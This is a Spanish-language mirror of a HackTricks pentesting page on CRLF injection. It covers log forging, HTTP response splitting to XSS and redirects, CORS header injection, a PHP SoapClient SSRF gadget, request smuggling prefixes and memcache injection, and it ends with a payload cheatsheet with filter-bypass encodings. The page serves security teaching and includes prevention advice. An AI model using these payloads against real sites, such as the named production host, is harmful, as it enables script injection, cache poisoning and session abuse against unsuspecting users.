Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-22 20:53:37 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/crlf-0d-0a.md

17 KiB
Raw Blame History

Inyección CRLF (%0D%0A)

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Si estás interesado en una carrera de hacking y en hackear lo imposible - ¡estamos contratando! (se requiere fluidez en polaco escrito y hablado).

{% embed url="https://www.stmcyber.com/careers" %}

¿Qué es CRLF?

Cuando un navegador envía una solicitud a un servidor web, el servidor web responde con una respuesta que contiene tanto los encabezados de respuesta HTTP como el contenido real del sitio web, es decir, el cuerpo de la respuesta. Los encabezados HTTP y la respuesta HTML (el contenido del sitio web) están separados por una combinación específica de caracteres especiales, a saber, un retorno de carro y un avance de línea. En resumen, también se conocen como CRLF.

El servidor web utiliza el CRLF para entender cuándo comienza un nuevo encabezado HTTP y cuándo termina otro. El CRLF también puede indicar a una aplicación web o a un usuario que comienza una nueva línea en un archivo o en un bloque de texto. Los caracteres CRLF son un mensaje estándar HTTP/1.1, por lo que se utilizan en cualquier tipo de servidor web, incluidos Apache, Microsoft IIS y todos los demás.
De https://www.netsparker.com/blog/web-security/crlf-http-header/#

¿Qué es la vulnerabilidad de inyección CRLF?

En un ataque de vulnerabilidad de inyección CRLF, el atacante inserta tanto los caracteres de retorno de carro como de avance de línea en la entrada del usuario para engañar al servidor, la aplicación web o al usuario para que piense que se ha terminado un objeto y que ha comenzado otro. Como tales, las secuencias CRLF no son caracteres maliciosos, sin embargo, pueden ser utilizados con intenciones maliciosas, para la división de respuestas HTTP, etc.

Inyección CRLF en aplicaciones web

En las aplicaciones web, una inyección CRLF puede tener impactos graves, dependiendo de lo que la aplicación haga con los elementos individuales. Los impactos pueden variar desde la divulgación de información hasta la ejecución de código, una vulnerabilidad de seguridad de la aplicación web de impacto directo. De hecho, un ataque de inyección CRLF puede tener repercusiones muy graves en una aplicación web, aunque nunca se haya incluido en la lista OWASP Top 10. Por ejemplo, también es posible manipular archivos de registro en un panel de administración, como se explica en el siguiente ejemplo.

Un ejemplo de inyección CRLF en un archivo de registro

Imagina un archivo de registro en un panel de administración con el patrón de flujo de salida de IP - Hora - Ruta visitada, como el siguiente:

123.123.123.123 - 08:15 - /index.php?page=home

Si un atacante es capaz de inyectar los caracteres CRLF en la solicitud HTTP, puede cambiar el flujo de salida y falsificar las entradas de registro. Puede cambiar la respuesta de la aplicación web a algo como lo siguiente:

/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

El %0d y %0a son las formas codificadas en URL de CR y LF. Por lo tanto, las entradas de registro se verían así después de que el atacante insertara esos caracteres y la aplicación los mostrara:

IP - Hora - Ruta visitada

123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

Por lo tanto, al explotar una vulnerabilidad de inyección CRLF, el atacante puede falsificar entradas en el archivo de registro para ocultar sus propias acciones maliciosas. El atacante está literalmente secuestrando la página y modificando la respuesta. Por ejemplo, imagina un escenario en el que el atacante tiene la contraseña de administrador y ejecuta el parámetro de acción restringida, que solo puede ser utilizado por un administrador.

El problema es que si el administrador nota que una dirección IP desconocida utilizó el parámetro de acción restringida, notará que algo está mal. Sin embargo, como ahora parece que el comando fue emitido por el localhost (y por lo tanto probablemente por alguien que tiene acceso al servidor, como un administrador), no parece sospechoso.

Toda la parte de la consulta que comienza con %0d%0a será manejada por el servidor como un solo parámetro. Después de eso, hay otro & con el parámetro de acción restringida que será analizado por el servidor como otro parámetro. Efectivamente, esta sería la misma consulta que:

/index.php?page=home&restrictedaction=edit

División de Respuesta HTTP

Descripción

Dado que el encabezado de una respuesta HTTP y su cuerpo están separados por caracteres CRLF, un atacante puede intentar inyectarlos. Una combinación de CRLFCRLF indicará al navegador que el encabezado termina y el cuerpo comienza. Eso significa que ahora puede escribir datos dentro del cuerpo de respuesta donde se almacena el código HTML. Esto puede llevar a una vulnerabilidad de Cross-site Scripting.

Un ejemplo de División de Respuesta HTTP que lleva a XSS

Imagina una aplicación que establece un encabezado personalizado, por ejemplo:

X-Your-Name: Bob

El valor del encabezado se establece a través de un parámetro get llamado "name". Si no hay codificación de URL en su lugar y el valor se refleja directamente dentro del encabezado, podría ser posible para un atacante insertar la combinación mencionada anteriormente de CRLFCRLF para indicar al navegador que comienza el cuerpo de la solicitud. De esa manera, es capaz de insertar datos como carga útil XSS, por ejemplo:

?name=Bob%0d%0a%0d%0a<script>alert(document.domain)</script>

El anterior código mostrará una ventana de alerta en el contexto del dominio atacado.

Un ejemplo de HTTP Response Splitting que lleva a una redirección

{% embed url="https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62" %}

Navegador a:

/%0d%0aLocation:%20http://myweb.com

Y el servidor responde con la cabecera:

Location: http://myweb.com

Otro ejemplo: (de https://www.acunetix.com/websitesecurity/crlf-injection/)

http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E

En la ruta URL

Puedes enviar la carga útil dentro de la ruta URL para controlar la respuesta del servidor:

http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E

Inyección de cabecera HTTP

Descripción

Al explotar una inyección CRLF, un atacante también puede insertar cabeceras HTTP que podrían usarse para derrotar mecanismos de seguridad como el filtro XSS del navegador o la política de mismo origen. Esto permite al atacante obtener información sensible como tokens CSRF. También puede establecer cookies que podrían ser explotadas al iniciar sesión en la cuenta del atacante o al explotar vulnerabilidades de scripting entre sitios (XSS) de otra manera no explotables.

Un ejemplo de inyección de cabecera HTTP para extraer datos sensibles

Si un atacante puede inyectar las cabeceras HTTP que activan CORS (Compartición de recursos de origen cruzado), puede usar JavaScript para acceder a recursos que de otra manera estarían protegidos por SOP (Política de mismo origen), que impide que los sitios de diferentes orígenes se accedan entre sí.

Nueva solicitud HTTP en SSRF

Al abusar de la inyección CRLF, se puede crear una nueva solicitud HTTP e inyectarla.
Un buen ejemplo se puede hacer usando el gadget de deserialización SoapClient en PHP. Esta clase es vulnerable a CRLF dentro del parámetro user_agent, lo que permite insertar nuevas cabeceras y contenido del cuerpo. Sin embargo, incluso se puede abusar de esta vulnerabilidad para inyectar una nueva solicitud HTTP:

$target = 'http://127.0.0.1:9090/test'; 
$post_string = 'variable=post value';
$crlf = array(
    'POST /proxy HTTP/1.1',
    'Host: local.host.htb',
    'Cookie: PHPSESSID=[PHPSESSID]',
    'Content-Type: application/x-www-form-urlencoded',
    'Content-Length: '.(string)strlen($post_string),
    "\r\n",
    $post_string
);

$client = new SoapClient(null,
    array(
        'uri'=>$target,
        'location'=>$target,
        'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
    )
);

#Put a nc listening in port 9090
$client->__soapCall("test", []);

Inyección de cabecera para smuggling de petición

Puedes inyectar cabeceras esenciales para asegurarte de que el back-end mantiene la conexión abierta después de responder a la petición inicial:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1

Luego, especifique una segunda solicitud. Aquí tienes un clásico smuggling de solicitud HTTP con encabezados/cuerpo extra agregados por el servidor después de la inyección.
Aquí hay dos de las muchas opciones para la explotación entre usuarios.

Especificar un prefijo malicioso para envenenar la solicitud del siguiente usuario o una caché web:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1

O crear nuestro prefijo para combinarlo con la basura final y crear una segunda solicitud completa para desencadenar el envenenamiento de la cola de respuesta.

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1

Para obtener más información sobre esta técnica y los posibles problemas, consulte la fuente original.

Inyección de Memcache

Memcache es un almacenamiento de clave-valor que utiliza un protocolo de texto claro. Más información en:

{% content-ref url="../network-services-pentesting/11211-memcache/" %} 11211-memcache {% endcontent-ref %}

Si una plataforma está tomando datos de una solicitud HTTP y usándolos sin sanitizar para realizar solicitudes a un servidor memcache, un atacante podría abusar de este comportamiento para inyectar nuevos comandos memcache.

Por ejemplo, en la vulnerabilidad descubierta originalmente, las claves de caché se usaban para devolver la dirección IP y el puerto al que un usuario debía conectarse, y los atacantes podían inyectar comandos memcache que envenenarían la caché para enviar los detalles de las víctimas (incluidos los nombres de usuario y las contraseñas) a los servidores del atacante:

Además, los investigadores también descubrieron que podían desincronizar las respuestas de memcache para enviar las direcciones IP y los puertos de los atacantes a los usuarios cuyo correo electrónico el atacante no conocía:

Para obtener la información completa, lea el informe original****

Impactos de la vulnerabilidad de inyección CRLF

El impacto de las inyecciones CRLF varía e incluye todos los impactos de la ejecución de scripts entre sitios hasta la divulgación de información. También puede desactivar ciertas restricciones de seguridad como los filtros XSS y la Política de origen mismo en los navegadores de la víctima, dejándolos susceptibles a ataques maliciosos.

Cómo prevenir las inyecciones CRLF / HTTP Header en aplicaciones web

La mejor técnica de prevención es no usar la entrada de los usuarios directamente dentro de los encabezados de respuesta. Si eso no es posible, siempre debe usar una función para codificar los caracteres especiales CRLF. Otra buena práctica de seguridad de aplicaciones web es actualizar su lenguaje de programación a una versión que no permita que CR y LF se inyecten dentro de las funciones que establecen los encabezados HTTP.

CHEATSHEET

1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)

2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2 
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com

3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E

4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test

Herramienta

{% embed url="https://github.com/dwisiswant0/crlfuzz" %}

Lista de detección de fuerza bruta

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/crlf.txt" %}

Referencias

Si estás interesado en una carrera de hacking y hackear lo imposible - ¡estamos contratando! (se requiere fluidez en polaco escrito y hablado).

{% embed url="https://www.stmcyber.com/careers" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥